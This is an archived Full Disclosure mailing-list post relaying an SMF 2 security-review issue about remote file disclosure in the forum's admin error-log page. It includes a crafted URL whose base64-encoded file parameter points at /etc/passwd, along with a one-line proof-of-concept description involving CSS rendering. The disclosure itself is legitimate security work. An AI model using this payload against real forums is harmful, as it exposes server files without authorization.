Full Disclosure mailing list archives
Re: Issue 15 in smf2-review: Remote File Disclosure (solo en logs, y similares)
From: smf2-review () googlecode com
Date: Wed, 02 Dec 2009 03:45:57 +0000
Updates: Status: Arreglada Labels: -Notificar-SMF Notificar-FD Comment #4 on issue 15 by sirdarckcat: Remote File Disclosure (solo en logs, y similares) http://code.google.com/p/smf2-review/issues/detail?id=15 Description: Remote File Disclosure logs Discovered by: sirdarckcat () elhacker net Vulnerable code: N/A Vulnerable URL: index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q== PoC: An attacker forcing that page to render as CSS can enable him to read it's content. -- You received this message because you are listed in the owner or CC fields of this issue, or because you starred this issue. You may adjust your issue notification preferences at: http://code.google.com/hosting/settings _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Issue 15 in smf2-review: Remote File Disclosure (solo en logs, y similares) smf2-review (Dec 02)